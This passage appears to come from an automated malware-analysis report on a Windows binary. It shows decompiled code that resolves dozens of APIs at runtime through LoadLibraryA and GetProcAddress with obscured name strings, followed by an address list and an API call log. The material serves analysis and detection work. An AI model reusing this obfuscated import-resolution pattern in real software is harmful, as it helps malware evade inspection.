				_t17 = LoadLibraryA(_t313); // executed
				 *0x41aa88 = _t17;
				if( *0x41a964 != 0) {
					_t124 =  *0x41a4a0; // 0x6160a0
					_t272 =  *0x41a964; // 0x775e0000
					 *0x41aa54 = GetProcAddress(_t272, _t124);
					_t361 =  *0x41a964; // 0x775e0000
					 *0x41a85c = GetProcAddress(_t361, "memset");
					_t127 =  *0x41a964; // 0x775e0000
					_t17 = GetProcAddress(_t127, "memcpy");
					 *0x41aab8 = _t17;
				}
				if( *0x41a8d8 != 0) {
					_t265 =  *0x41a490; // 0x618578
					_t355 =  *0x41a8d8; // 0x6fc40000
					 *0x41a954 = GetProcAddress(_t355, _t265);
					_t110 =  *0x41a25c; // 0x615b18
					_t266 =  *0x41a8d8; // 0x6fc40000
					 *0x41aa74 = GetProcAddress(_t266, _t110);
					_t356 =  *0x41a530; // 0x6157f8
					_t112 =  *0x41a8d8; // 0x6fc40000
					 *0x41aabc = GetProcAddress(_t112, _t356);
					_t267 =  *0x41a560; // 0x615b78
					_t357 =  *0x41a8d8; // 0x6fc40000
					 *0x41aa3c = GetProcAddress(_t357, _t267);
					_t115 =  *0x41a3d4; // 0x618380
					_t268 =  *0x41a8d8; // 0x6fc40000
					 *0x41aacc = GetProcAddress(_t268, _t115);
					_t358 =  *0x41a23c; // 0x615b98
					_t117 =  *0x41a8d8; // 0x6fc40000
					 *0x41a950 = GetProcAddress(_t117, _t358);
					_t269 =  *0x41a564; // 0x615ab8
					_t359 =  *0x41a8d8; // 0x6fc40000
					 *0x41a980 = GetProcAddress(_t359, _t269);
					_t120 =  *0x41a45c; // 0x615a18
					_t270 =  *0x41a8d8; // 0x6fc40000
					 *0x41a84c = GetProcAddress(_t270, _t120);
					_t360 =  *0x41a278; // 0x615a38
					_t122 =  *0x41a8d8; // 0x6fc40000
					 *0x41a958 = GetProcAddress(_t122, _t360);
					_t271 =  *0x41a8d8; // 0x6fc40000
					_t17 = GetProcAddress(_t271, "InternetCrackUrlA");
					 *0x41a8ec = _t17;
				}
				if( *0x41aaa8 != 0) {
					_t347 =  *0x41a318; // 0x6184b8
					_t92 =  *0x41aaa8; // 0x768f0000
					 *0x41a874 = GetProcAddress(_t92, _t347);
					_t258 =  *0x41a63c; // 0x618590
					_t348 =  *0x41aaa8; // 0x768f0000
					 *0x41a9ac = GetProcAddress(_t348, _t258);
					_t95 =  *0x41a608; // 0x615818
					_t259 =  *0x41aaa8; // 0x768f0000
					 *0x41a9ec = GetProcAddress(_t259, _t95);
					_t349 =  *0x41a528; // 0x615958
					_t97 =  *0x41aaa8; // 0x768f0000
					 *0x41a9fc = GetProcAddress(_t97, _t349);
					_t260 =  *0x41a3ec; // 0x618398
					_t350 =  *0x41aaa8; // 0x768f0000
					 *0x41aa28 = GetProcAddress(_t350, _t260);
					_t100 =  *0x41a648; // 0x615fd0
					_t261 =  *0x41aaa8; // 0x768f0000
					 *0x41aaa4 = GetProcAddress(_t261, _t100);
					_t351 =  *0x41a298; // 0x615838
					_t102 =  *0x41aaa8; // 0x768f0000
					 *0x41aab4 = GetProcAddress(_t102, _t351);
					_t262 =  *0x41a618; // 0x615978
					_t352 =  *0x41aaa8; // 0x768f0000
					 *0x41a878 = GetProcAddress(_t352, _t262);
					_t105 =  *0x41a384; // 0x6182c0
					_t263 =  *0x41aaa8; // 0x768f0000
					 *0x41aac0 = GetProcAddress(_t263, _t105);
					_t353 =  *0x41a4ec; // 0x6182d8
					_t107 =  *0x41aaa8; // 0x768f0000
					 *0x41aa5c = GetProcAddress(_t107, _t353);
					_t354 =  *0x41aaa8; // 0x768f0000
					_t17 = GetProcAddress(_t354,  *0x41a38c);
					 *0x41aa94 = _t17;
				}
				if( *0x41a854 != 0) {
					_t83 =  *0x41a6c8; // 0x6183f8
					_t254 =  *0x41a854; // 0x74b40000
					 *0x41a940 = GetProcAddress(_t254, _t83);
					_t344 =  *0x41a53c; // 0x615a78
					_t85 =  *0x41a854; // 0x74b40000
					 *0x41a920 = GetProcAddress(_t85, _t344);
					_t255 =  *0x41a180; // 0x618410
					_t345 =  *0x41a854; // 0x74b40000
					 *0x41a9c4 = GetProcAddress(_t345, _t255);
					_t88 =  *0x41a724; // 0x6158b8
					_t256 =  *0x41a854; // 0x74b40000
					 *0x41a870 = GetProcAddress(_t256, _t88);
					_t346 =  *0x41a1fc; // 0x618428
					_t90 =  *0x41a854; // 0x74b40000
					 *0x41aa6c = GetProcAddress(_t90, _t346);
					_t257 =  *0x41a854; // 0x74b40000
					_t17 = GetProcAddress(_t257, "RegGetValueA");
					 *0x41a8f8 = _t17;
				}
				if( *0x41a988 != 0) {
					_t334 =  *0x41a4c4; // 0x618308
					_t61 =  *0x41a988; // 0x76b90000
					 *0x41a9d0 = GetProcAddress(_t61, _t334);
					_t245 =  *0x41a198; // 0x6184a0
					_t335 =  *0x41a988; // 0x76b90000
					 *0x41a960 = GetProcAddress(_t335, _t245);
					_t64 =  *0x41a7a8; // 0x615858
					_t246 =  *0x41a988; // 0x76b90000
					 *0x41a948 = GetProcAddress(_t246, _t64);
					_t336 =  *0x41a274; // 0x615878
					_t66 =  *0x41a988; // 0x76b90000
					 *0x41a8bc = GetProcAddress(_t66, _t336);
					_t247 =  *0x41a624; // 0x618548
					_t337 =  *0x41a988; // 0x76b90000
					 *0x41a898 = GetProcAddress(_t337, _t247);
					_t69 =  *0x41a2b8; // 0x6160d0
					_t248 =  *0x41a988; // 0x76b90000
					 *0x41a880 = GetProcAddress(_t248, _t69);
					_t338 =  *0x41a5f0; // 0x618320
					_t71 =  *0x41a988; // 0x76b90000
					 *0x41aa38 = GetProcAddress(_t71, _t338);
					_t249 =  *0x41a19c; // 0x6184d0
					_t339 =  *0x41a988; // 0x76b90000
					 *0x41a93c = GetProcAddress(_t339, _t249);
					_t74 =  *0x41a73c; // 0x618518
					_t250 =  *0x41a988; // 0x76b90000
					 *0x41a9f0 = GetProcAddress(_t250, _t74);
					_t340 =  *0x41a254; // 0x6184e8
					_t76 =  *0x41a988; // 0x76b90000
					 *0x41a918 = GetProcAddress(_t76, _t340);
					_t251 =  *0x41a404; // 0x616020
					_t341 =  *0x41a988; // 0x76b90000
					 *0x41a87c = GetProcAddress(_t341, _t251);
					_t79 =  *0x41a17c; // 0x615918
					_t252 =  *0x41a988; // 0x76b90000
					 *0x41a9a8 = GetProcAddress(_t252, _t79);
					_t342 =  *0x41a154; // 0x618500
					_t81 =  *0x41a988; // 0x76b90000
					 *0x41a8d4 = GetProcAddress(_t81, _t342);
					_t343 =  *0x41a988; // 0x76b90000
					_t17 = GetProcAddress(_t343,  *0x41a778);
					 *0x41a9f8 = _t17;
				}
				if( *0x41aa40 != 0) {
					_t60 =  *0x41a120; // 0x616438
					_t244 =  *0x41aa40; // 0x6c330000
					_t17 = GetProcAddress(_t244, _t60); // executed
					 *0x41a864 = _t17;
				}
				if( *0x41a94c != 0) {
					_t333 =  *0x41a3a0; // 0x615998
					_t59 =  *0x41a94c; // 0x768e0000
					_t17 = GetProcAddress(_t59, _t333);
					 *0x41aa48 = _t17;
				}
				if( *0x41a934 != 0) {
					_t243 =  *0x41a354; // 0x615898
					_t332 =  *0x41a934; // 0x749a0000
					_t17 = GetProcAddress(_t332, _t243);
					 *0x41a91c = _t17;
				}
				if( *0x41aa34 != 0) {
					_t50 =  *0x41a108; // 0x617710
					_t239 =  *0x41aa34; // 0x73da0000
					 *0x41a95c = GetProcAddress(_t239, _t50);
					_t328 =  *0x41a710; // 0x6159d8
					_t52 =  *0x41aa34; // 0x73da0000
					 *0x41aa18 = GetProcAddress(_t52, _t328);
					_t240 =  *0x41a510; // 0x617508
					_t329 =  *0x41aa34; // 0x73da0000
					 *0x41a900 = GetProcAddress(_t329, _t240);
					_t55 =  *0x41a35c; // 0x615a58
					_t241 =  *0x41aa34; // 0x73da0000
					 *0x41a8e0 = GetProcAddress(_t241, _t55);
					_t330 =  *0x41a524; // 0x617878
					_t57 =  *0x41aa34; // 0x73da0000
					 *0x41a8c0 = GetProcAddress(_t57, _t330);
					_t242 =  *0x41a0a0; // 0x618650
					_t331 =  *0x41aa34; // 0x73da0000
					_t17 = GetProcAddress(_t331, _t242);
					 *0x41aa60 = _t17;
				}
				if( *0x41aa80 != 0) {
					_t41 =  *0x41a2fc; // 0x618608
					_t235 =  *0x41aa80; // 0x6ec90000
					 *0x41a9c8 = GetProcAddress(_t235, _t41);
					_t324 =  *0x41a508; // 0x6187d0
					_t43 =  *0x41aa80; // 0x6ec90000
					 *0x41a924 = GetProcAddress(_t43, _t324);
					_t236 =  *0x41a540; // 0x615a98
					_t325 =  *0x41aa80; // 0x6ec90000
					 *0x41aa30 = GetProcAddress(_t325, _t236);
					_t46 =  *0x41a214; // 0x5fa828
					_t237 =  *0x41aa80; // 0x6ec90000
					 *0x41a888 = GetProcAddress(_t237, _t46);
					_t326 =  *0x41a794; // 0x618ca8
					_t48 =  *0x41aa80; // 0x6ec90000
					 *0x41a99c = GetProcAddress(_t48, _t326);
					_t238 =  *0x41a7d0; // 0x618620
					_t327 =  *0x41aa80; // 0x6ec90000
					_t17 = GetProcAddress(_t327, _t238);
					 *0x41aa08 = _t17;
				}
				if( *0x41a968 != 0) {
					_t37 =  *0x41a178; // 0x618830
					_t233 =  *0x41a968; // 0x76720000
					 *0x41aa4c = GetProcAddress(_t233, _t37);
					_t322 =  *0x41a69c; // 0x6160b0
					_t39 =  *0x41a968; // 0x76720000
					 *0x41a89c = GetProcAddress(_t39, _t322);
					_t234 =  *0x41a0e4; // 0x6185f0
					_t323 =  *0x41a968; // 0x76720000
					_t17 = GetProcAddress(_t323, _t234);
					 *0x41a90c = _t17;
				}
				if( *0x41aa98 != 0) {
					_t34 =  *0x41a270; // 0x618b68
					_t232 =  *0x41aa98; // 0x75390000
					 *0x41aa00 = GetProcAddress(_t232, _t34);
					_t321 =  *0x41a378; // 0x6186f8
					_t36 =  *0x41aa98; // 0x75390000
					_t17 = GetProcAddress(_t36, _t321);
					 *0x41aa84 = _t17;
				}
				if( *0x41a938 != 0) {
					_t226 =  *0x41a3cc; // 0x6173f0
					_t316 =  *0x41a938; // 0x73660000
					 *0x41a8dc = GetProcAddress(_t316, _t226);
					_t23 =  *0x41a2a0; // 0x618d08
					_t227 =  *0x41a938; // 0x73660000
					 *0x41a928 = GetProcAddress(_t227, _t23);
					_t317 =  *0x41a308; // 0x617530
					_t25 =  *0x41a938; // 0x73660000
					 *0x41a9e8 = GetProcAddress(_t25, _t317);
					_t228 =  *0x41a150; // 0x618818
					_t318 =  *0x41a938; // 0x73660000
					 *0x41aa2c = GetProcAddress(_t318, _t228);
					_t28 =  *0x41a4f4; // 0x618728
					_t229 =  *0x41a938; // 0x73660000
					 *0x41aa0c = GetProcAddress(_t229, _t28);
					_t319 =  *0x41a7c8; // 0x618d88
					_t30 =  *0x41a938; // 0x73660000
					 *0x41a9b8 = GetProcAddress(_t30, _t319);
					_t230 =  *0x41a380; // 0x618e48
					_t320 =  *0x41a938; // 0x73660000
					 *0x41a8f0 = GetProcAddress(_t320, _t230);
					_t33 =  *0x41a7b8; // 0x618848
					_t231 =  *0x41a938; // 0x73660000
					_t17 = GetProcAddress(_t231, _t33);
					 *0x41aa7c = _t17;
				}
				if( *0x41a97c != 0) {
					_t314 =  *0x41a174; // 0x618d28
					_t20 =  *0x41a97c; // 0x747d0000
					 *0x41a98c = GetProcAddress(_t20, _t314);
					_t225 =  *0x41a3d8; // 0x618ac8
					_t315 =  *0x41a97c; // 0x747d0000
					_t17 = GetProcAddress(_t315, _t225);
					 *0x41a884 = _t17;
				}
				if( *0x41aa88 != 0) {
					_t18 =  *0x41a448; // 0x618638
					_t224 =  *0x41aa88; // 0x6ecd0000
					_t19 = GetProcAddress(_t224, _t18);
					 *0x41a990 = _t19;
					return _t19;
				}
				return _t17;
			}

0x0040c4aa
0x0040c4b0
0x0040c4b6
0x0040c4c3
0x0040c4c8
0x0040c4cf
0x0040c4db
0x0040c4e0
0x0040c4e7
0x0040c4f4
0x0040c4ff
0x0040c50c
0x0040c511
0x0040c518
0x0040c524
0x0040c529
0x0040c530
0x0040c53d
0x0040c542
0x0040c548
0x0040c555
0x0040c55a
0x0040c561
0x0040c56d
0x0040c579
0x0040c586
0x0040c58b
0x0040c591
0x0040c59e
0x0040c5a3
0x0040c5aa
0x0040c5b6
0x0040c5bb
0x0040c5c2
0x0040c5cf
0x0040c5da
0x0040c5e7
0x0040c5ec
0x0040c5f3
0x0040c5ff
0x0040c604
0x0040c60b
0x0040c618
0x0040c61d
0x0040c623
0x0040c630
0x0040c635
0x0040c63c
0x0040c648
0x0040c654
0x0040c661
0x0040c666
0x0040c66c
0x0040c679
0x0040c67e
0x0040c685
0x0040c691
0x0040c696
0x0040c69d
0x0040c6aa
0x0040c6af
0x0040c6b5
0x0040c6c2
0x0040c6c7
0x0040c6ce
0x0040c6da
0x0040c6df
0x0040c6e6
0x0040c6f3
0x0040c6f8
0x0040c6fe
0x0040c70b
0x0040c710
0x0040c717
0x0040c723
0x0040c728
0x0040c72f
0x0040c73c
0x0040c741
0x0040c747
0x0040c754
0x0040c759
0x0040c760
0x0040c76c
0x0040c771
0x0040c778
0x0040c785
0x0040c78a
0x0040c790
0x0040c79d
0x0040c7a2
0x0040c7a9
0x0040c7b5
0x0040c7ba
0x0040c7c1
0x0040c7ce
0x0040c7d3
0x0040c7d9
0x0040c7e6
0x0040c7eb
0x0040c7f2
0x0040c7fe
0x0040c803
0x0040c80a
0x0040c817
0x0040c81c
0x0040c822
0x0040c82f
0x0040c834
0x0040c83b
0x0040c847
0x0040c84c
0x0040c853
0x0040c860
0x0040c865
0x0040c86b
0x0040c878
0x0040c884
0x0040c890
0x0040c895
0x0040c89c
0x0040c8a9
0x0040c8ae
0x0040c8b4
0x0040c8c1
0x0040c8c6
0x0040c8cd
0x0040c8d9
0x0040c8de
0x0040c8e5
0x0040c8f2
0x0040c8f7
0x0040c8fd
0x0040c90a
0x0040c90f
0x0040c916
0x0040c922
0x0040c927
0x0040c92e
0x0040c93b
0x0040c940
0x0040c946
0x0040c953
0x0040c958
0x0040c95f
0x0040c96b
0x0040c970
0x0040c977
0x0040c984
0x0040c98e
0x0040c99a
0x0040c9a4
0x0040c9b1
0x0040c9bb
0x0040c9c8
0x0040c9d2
0x0040c9de
0x0040c9e8
0x0040c9f5
0x0040c9f5
0x0040c9fa
0x0040ca07
0x0040ca0c
0x0040ca12
0x0040ca18
0x0040ca1d
0x0040ca24
0x0040ca2a
0x0040ca2f
0x0040ca3c
0x0040ca41
0x0040ca47
0x0040ca4d
0x0040ca52
0x0040ca59
0x0040ca5f
0x0040ca64
0x0040ca6b
0x0040ca71
0x0040ca76
0x0040ca7c
0x0040ca82
0x0040ca87
0x0040ca8e
0x0040ca94
0x0040ca99
0x0040caa0
0x0040caa6
0x0040caab
0x0040cab1
0x0040cab7
0x0040cabc
0x0040cac3
0x0040cac9
0x0040cace
0x0040cad5
0x0040cadb
0x0040cae7
0x0040cae9
0x0040caef
0x0040cafc
0x0040cb06
0x0040cb13
0x0040cb1d
0x0040cb23
0x0040cb29
0x0040cb29
0x0040cb35
0x0040cb3b
0x0040cb42
0x0040cb4f
0x0040cb54
0x0040cb5a
0x0040cb67
0x0040cb6c
0x0040cb73
0x0040cb7f
0x0040cb84
0x0040cb8b
0x0040cb98
0x0040cb9d
0x0040cba3
0x0040cbb0
0x0040cbb5
0x0040cbbc
0x0040cbc8
0x0040cbcd
0x0040cbd4
0x0040cbe1
0x0040cbe6
0x0040cbec
0x0040cbf9
0x0040cbfe
0x0040cc05
0x0040cc11
0x0040cc1b
0x0040cc22
0x0040cc28
0x0040cc28
0x0040cc34
0x0040cc3a
0x0040cc41
0x0040cc4d
0x0040cc52
0x0040cc59
0x0040cc66
0x0040cc6b
0x0040cc71
0x0040cc7e
0x0040cc83
0x0040cc8a
0x0040cc96
0x0040cc9b
0x0040cca2
0x0040ccaf
0x0040ccb4
0x0040ccba
0x0040ccc7
0x0040cccc
0x0040ccd3
0x0040ccdf
0x0040cce4
0x0040cceb
0x0040ccf8
0x0040ccfd
0x0040cd03
0x0040cd10
0x0040cd15
0x0040cd1c
0x0040cd28
0x0040cd34
0x0040cd3b
0x0040cd41
0x0040cd41
0x0040cd4d
0x0040cd53
0x0040cd59
0x0040cd66
0x0040cd6b
0x0040cd72
0x0040cd7e
0x0040cd83
0x0040cd8a
0x0040cd97
0x0040cd9c
0x0040cda2
0x0040cdaf
0x0040cdb4
0x0040cdbb
0x0040cdc7
0x0040cdd1
0x0040cdd8
0x0040cdde
0x0040cdde
0x0040cdea
0x0040cdf0
0x0040cdf7
0x0040ce03
0x0040ce08
0x0040ce0f
0x0040ce1c
0x0040ce21
0x0040ce27
0x0040ce34
0x0040ce39
0x0040ce40
0x0040ce4c
0x0040ce51
0x0040ce58
0x0040ce65
0x0040ce6a
0x0040ce70
0x0040ce7d
0x0040ce82
0x0040ce89
0x0040ce95
0x0040ce9a
0x0040cea1
0x0040ceae
0x0040ceb3
0x0040ceb9
0x0040cec6
0x0040cecb
0x0040ced2
0x0040cede
0x0040cee3
0x0040ceea
0x0040cef7
0x0040cefc
0x0040cf02
0x0040cf0f
0x0040cf14
0x0040cf1b
0x0040cf27
0x0040cf33
0x0040cf3a
0x0040cf40
0x0040cf40
0x0040cf4c
0x0040cf4e
0x0040cf54
0x0040cf5b
0x0040cf61
0x0040cf61
0x0040cf6d
0x0040cf6f
0x0040cf76
0x0040cf7c
0x0040cf82
0x0040cf82
0x0040cf8e
0x0040cf90
0x0040cf97
0x0040cf9e
0x0040cfa4
0x0040cfa4
0x0040cfb0
0x0040cfb6
0x0040cfbc
0x0040cfc9
0x0040cfce
0x0040cfd5
0x0040cfe1
0x0040cfe6
0x0040cfed
0x0040cffa
0x0040cfff
0x0040d005
0x0040d012
0x0040d017
0x0040d01e
0x0040d02a
0x0040d02f
0x0040d036
0x0040d03d
0x0040d043
0x0040d043
0x0040d04f
0x0040d055
0x0040d05b
0x0040d068
0x0040d06d
0x0040d074
0x0040d080
0x0040d085
0x0040d08c
0x0040d099
0x0040d09e
0x0040d0a4
0x0040d0b1
0x0040d0b6
0x0040d0bd
0x0040d0c9
0x0040d0ce
0x0040d0d5
0x0040d0dc
0x0040d0e2
0x0040d0e2
0x0040d0ee
0x0040d0f0
0x0040d0f6
0x0040d103
0x0040d108
0x0040d10f
0x0040d11b
0x0040d120
0x0040d127
0x0040d12e
0x0040d134
0x0040d134
0x0040d140
0x0040d142
0x0040d148
0x0040d155
0x0040d15a
0x0040d161
0x0040d167
0x0040d16d
0x0040d16d
0x0040d179
0x0040d17f
0x0040d186
0x0040d193
0x0040d198
0x0040d19e
0x0040d1ab
0x0040d1b0
0x0040d1b7
0x0040d1c3
0x0040d1c8
0x0040d1cf
0x0040d1dc
0x0040d1e1
0x0040d1e7
0x0040d1f4
0x0040d1f9
0x0040d200
0x0040d20c
0x0040d211
0x0040d218
0x0040d225
0x0040d22a
0x0040d230
0x0040d237
0x0040d23d
0x0040d23d
0x0040d249
0x0040d24b
0x0040d252
0x0040d25e
0x0040d263
0x0040d26a
0x0040d271
0x0040d277
0x0040d277
0x0040d283
0x0040d285
0x0040d28b
0x0040d292
0x0040d298
0x00000000
0x0040d298
0x0040d29e

APIs

GetProcAddress.KERNEL32(74DF0000,00617F48), ref: 0040C4BD
GetProcAddress.KERNEL32(74DF0000,006180C8), ref: 0040C4D5
GetProcAddress.KERNEL32(74DF0000,00615418), ref: 0040C4EE
GetProcAddress.KERNEL32(74DF0000,00618140), ref: 0040C506
GetProcAddress.KERNEL32(74DF0000,00617FC0), ref: 0040C51E
GetProcAddress.KERNEL32(74DF0000,00617F90), ref: 0040C537
GetProcAddress.KERNEL32(74DF0000,00618008), ref: 0040C54F
GetProcAddress.KERNEL32(74DF0000,00618170), ref: 0040C567
GetProcAddress.KERNEL32(74DF0000,00618080), ref: 0040C580
GetProcAddress.KERNEL32(74DF0000,00617EB8), ref: 0040C598
GetProcAddress.KERNEL32(74DF0000,00618188), ref: 0040C5B0
GetProcAddress.KERNEL32(74DF0000,006181A0), ref: 0040C5C9
GetProcAddress.KERNEL32(74DF0000,00617ED0), ref: 0040C5E1
GetProcAddress.KERNEL32(74DF0000,00615458), ref: 0040C5F9
GetProcAddress.KERNEL32(74DF0000,006181B8), ref: 0040C612
GetProcAddress.KERNEL32(74DF0000,00615518), ref: 0040C62A
GetProcAddress.KERNEL32(74DF0000,006173C8), ref: 0040C642
GetProcAddress.KERNEL32(74DF0000,006181D0), ref: 0040C65B
GetProcAddress.KERNEL32(74DF0000,006155D8), ref: 0040C673
GetProcAddress.KERNEL32(74DF0000,00618200), ref: 0040C68B
GetProcAddress.KERNEL32(74DF0000,006155F8), ref: 0040C6A4
GetProcAddress.KERNEL32(74DF0000,00618260), ref: 0040C6BC
GetProcAddress.KERNEL32(74DF0000,006181E8), ref: 0040C6D4
GetProcAddress.KERNEL32(74DF0000,00618218), ref: 0040C6ED
GetProcAddress.KERNEL32(74DF0000,00618230), ref: 0040C705
GetProcAddress.KERNEL32(74DF0000,00615638), ref: 0040C71D
GetProcAddress.KERNEL32(74DF0000,00618248), ref: 0040C736
GetProcAddress.KERNEL32(74DF0000,00618278), ref: 0040C74E
GetProcAddress.KERNEL32(74DF0000,00618350), ref: 0040C766
GetProcAddress.KERNEL32(74DF0000,00615658), ref: 0040C77F
GetProcAddress.KERNEL32(74DF0000,00618338), ref: 0040C797
GetProcAddress.KERNEL32(74DF0000,006183B0), ref: 0040C7AF
GetProcAddress.KERNEL32(74DF0000,00618458), ref: 0040C7C8
GetProcAddress.KERNEL32(74DF0000,00618440), ref: 0040C7E0
GetProcAddress.KERNEL32(74DF0000,00618488), ref: 0040C7F8
GetProcAddress.KERNEL32(74DF0000,00615AD8), ref: 0040C811
GetProcAddress.KERNEL32(74DF0000,006158D8), ref: 0040C829
GetProcAddress.KERNEL32(74DF0000,006185A8), ref: 0040C841
GetProcAddress.KERNEL32(74DF0000,00618470), ref: 0040C85A
GetProcAddress.KERNEL32(74DF0000,00615938), ref: 0040C872
GetProcAddress.KERNEL32(74DF0000,00617440), ref: 0040C88A
GetProcAddress.KERNEL32(74DF0000,00618560), ref: 0040C8A3
GetProcAddress.KERNEL32(74DF0000,006183C8), ref: 0040C8BB
GetProcAddress.KERNEL32(74DF0000,00615B58), ref: 0040C8D3
GetProcAddress.KERNEL32(74DF0000,006159F8), ref: 0040C8EC
GetProcAddress.KERNEL32(74DF0000,006159B8), ref: 0040C904
GetProcAddress.KERNEL32(74DF0000,006183E0), ref: 0040C91C
GetProcAddress.KERNEL32(74DF0000,00615AF8), ref: 0040C935
GetProcAddress.KERNEL32(74DF0000,00618368), ref: 0040C94D
GetProcAddress.KERNEL32(74DF0000,006158F8), ref: 0040C965
GetProcAddress.KERNEL32(74DF0000,00615B38), ref: 0040C97E
GetProcAddress.KERNEL32(74DF0000,CreateThread), ref: 0040C994
GetProcAddress.KERNEL32(74DF0000,GetEnvironmentVariableA), ref: 0040C9AB
GetProcAddress.KERNEL32(74DF0000,SetEnvironmentVariableA), ref: 0040C9C2
GetProcAddress.KERNEL32(74DF0000,lstrcpyA), ref: 0040C9D8
GetProcAddress.KERNEL32(74DF0000,lstrcpynA), ref: 0040C9EF
LoadLibraryA.KERNEL32(006180E0,?,00406BAD), ref: 0040CA01
LoadLibraryA.KERNELBASE(006180B0,?,00406BAD), ref: 0040CA12
LoadLibraryA.KERNELBASE(00618068,?,00406BAD), ref: 0040CA24
LoadLibraryA.KERNEL32(00617F60,?,00406BAD), ref: 0040CA36
LoadLibraryA.KERNELBASE(00618128,?,00406BAD), ref: 0040CA47
LoadLibraryA.KERNELBASE(00617FF0,?,00406BAD), ref: 0040CA59
LoadLibraryA.KERNELBASE(00617F30,?,00406BAD), ref: 0040CA6B
LoadLibraryA.KERNELBASE(00618038,?,00406BAD), ref: 0040CA7C
LoadLibraryA.KERNELBASE(006180F8,?,00406BAD), ref: 0040CA8E
LoadLibraryA.KERNELBASE(00617F78,?,00406BAD), ref: 0040CAA0
LoadLibraryA.KERNELBASE(00617FA8,?,00406BAD), ref: 0040CAB1
LoadLibraryA.KERNELBASE(00617FD8,?,00406BAD), ref: 0040CAC3
LoadLibraryA.KERNELBASE(00618158,?,00406BAD), ref: 0040CAD5
GetProcAddress.KERNEL32(775E0000,006160A0), ref: 0040CAF6
GetProcAddress.KERNEL32(775E0000,memset), ref: 0040CB0D
GetProcAddress.KERNEL32(775E0000,memcpy), ref: 0040CB23
GetProcAddress.KERNEL32(6FC40000,00618578), ref: 0040CB49
GetProcAddress.KERNEL32(6FC40000,00615B18), ref: 0040CB61
GetProcAddress.KERNEL32(6FC40000,006157F8), ref: 0040CB79
GetProcAddress.KERNEL32(6FC40000,00615B78), ref: 0040CB92
GetProcAddress.KERNEL32(6FC40000,00618380), ref: 0040CBAA
GetProcAddress.KERNEL32(6FC40000,00615B98), ref: 0040CBC2
GetProcAddress.KERNEL32(6FC40000,00615AB8), ref: 0040CBDB
GetProcAddress.KERNEL32(6FC40000,00615A18), ref: 0040CBF3
GetProcAddress.KERNEL32(6FC40000,00615A38), ref: 0040CC0B
GetProcAddress.KERNEL32(6FC40000,InternetCrackUrlA), ref: 0040CC22
GetProcAddress.KERNEL32(768F0000,006184B8), ref: 0040CC47
GetProcAddress.KERNEL32(768F0000,00618590), ref: 0040CC60
GetProcAddress.KERNEL32(768F0000,00615818), ref: 0040CC78
GetProcAddress.KERNEL32(768F0000,00615958), ref: 0040CC90
GetProcAddress.KERNEL32(768F0000,00618398), ref: 0040CCA9
GetProcAddress.KERNEL32(768F0000,00615FD0), ref: 0040CCC1
GetProcAddress.KERNEL32(768F0000,00615838), ref: 0040CCD9
GetProcAddress.KERNEL32(768F0000,00615978), ref: 0040CCF2
GetProcAddress.KERNEL32(768F0000,006182C0), ref: 0040CD0A
GetProcAddress.KERNEL32(768F0000,006182D8), ref: 0040CD22
GetProcAddress.KERNEL32(768F0000,006182F0), ref: 0040CD3B
GetProcAddress.KERNEL32(74B40000,006183F8), ref: 0040CD60
GetProcAddress.KERNEL32(74B40000,00615A78), ref: 0040CD78
GetProcAddress.KERNEL32(74B40000,00618410), ref: 0040CD91
GetProcAddress.KERNEL32(74B40000,006158B8), ref: 0040CDA9
GetProcAddress.KERNEL32(74B40000,00618428), ref: 0040CDC1
GetProcAddress.KERNEL32(74B40000,RegGetValueA), ref: 0040CDD8
GetProcAddress.KERNEL32(76B90000,00618308), ref: 0040CDFD
GetProcAddress.KERNEL32(76B90000,006184A0), ref: 0040CE16
GetProcAddress.KERNEL32(76B90000,00615858), ref: 0040CE2E
GetProcAddress.KERNEL32(76B90000,00615878), ref: 0040CE46
GetProcAddress.KERNEL32(76B90000,00618548), ref: 0040CE5F
GetProcAddress.KERNEL32(76B90000,006160D0), ref: 0040CE77
GetProcAddress.KERNEL32(76B90000,00618320), ref: 0040CE8F
GetProcAddress.KERNEL32(76B90000,006184D0), ref: 0040CEA8
GetProcAddress.KERNEL32(76B90000,00618518), ref: 0040CEC0
GetProcAddress.KERNEL32(76B90000,006184E8), ref: 0040CED8
GetProcAddress.KERNEL32(76B90000,00616020), ref: 0040CEF1
GetProcAddress.KERNEL32(76B90000,00615918), ref: 0040CF09
GetProcAddress.KERNEL32(76B90000,00618500), ref: 0040CF21
GetProcAddress.KERNEL32(76B90000,00618530), ref: 0040CF3A
GetProcAddress.KERNELBASE(6C330000,00616438), ref: 0040CF5B
GetProcAddress.KERNEL32(768E0000,00615998), ref: 0040CF7C
GetProcAddress.KERNEL32(749A0000,00615898), ref: 0040CF9E
GetProcAddress.KERNEL32(73DA0000,00617710), ref: 0040CFC3
GetProcAddress.KERNEL32(73DA0000,006159D8), ref: 0040CFDB
GetProcAddress.KERNEL32(73DA0000,00617508), ref: 0040CFF4
GetProcAddress.KERNEL32(73DA0000,00615A58), ref: 0040D00C
GetProcAddress.KERNEL32(73DA0000,00617878), ref: 0040D024
GetProcAddress.KERNEL32(73DA0000,00618650), ref: 0040D03D
GetProcAddress.KERNEL32(6EC90000,00618608), ref: 0040D062
GetProcAddress.KERNEL32(6EC90000,006187D0), ref: 0040D07A
GetProcAddress.KERNEL32(6EC90000,00615A98), ref: 0040D093
GetProcAddress.KERNEL32(6EC90000,005FA828), ref: 0040D0AB
GetProcAddress.KERNEL32(6EC90000,00618CA8), ref: 0040D0C3
GetProcAddress.KERNEL32(6EC90000,00618620), ref: 0040D0DC
GetProcAddress.KERNEL32(76720000,00618830), ref: 0040D0FD
GetProcAddress.KERNEL32(76720000,006160B0), ref: 0040D115
GetProcAddress.KERNEL32(76720000,006185F0), ref: 0040D12E
GetProcAddress.KERNEL32(75390000,00618B68), ref: 0040D14F
GetProcAddress.KERNEL32(75390000,006186F8), ref: 0040D167
GetProcAddress.KERNEL32(73660000,006173F0), ref: 0040D18D
GetProcAddress.KERNEL32(73660000,00618D08), ref: 0040D1A5
GetProcAddress.KERNEL32(73660000,00617530), ref: 0040D1BD
GetProcAddress.KERNEL32(73660000,00618818), ref: 0040D1D6
GetProcAddress.KERNEL32(73660000,00618728), ref: 0040D1EE
GetProcAddress.KERNEL32(73660000,00618D88), ref: 0040D206
GetProcAddress.KERNEL32(73660000,00618E48), ref: 0040D21F
GetProcAddress.KERNEL32(73660000,00618848), ref: 0040D237
GetProcAddress.KERNEL32(747D0000,00618D28), ref: 0040D258
GetProcAddress.KERNEL32(747D0000,00618AC8), ref: 0040D271
GetProcAddress.KERNEL32(6ECD0000,00618638), ref: 0040D292

Strings

memset, xrefs: 0040CB01
xxa, xrefs: 0040D017
XYa, xrefs: 0040CC83
xXa, xrefs: 0040CE39
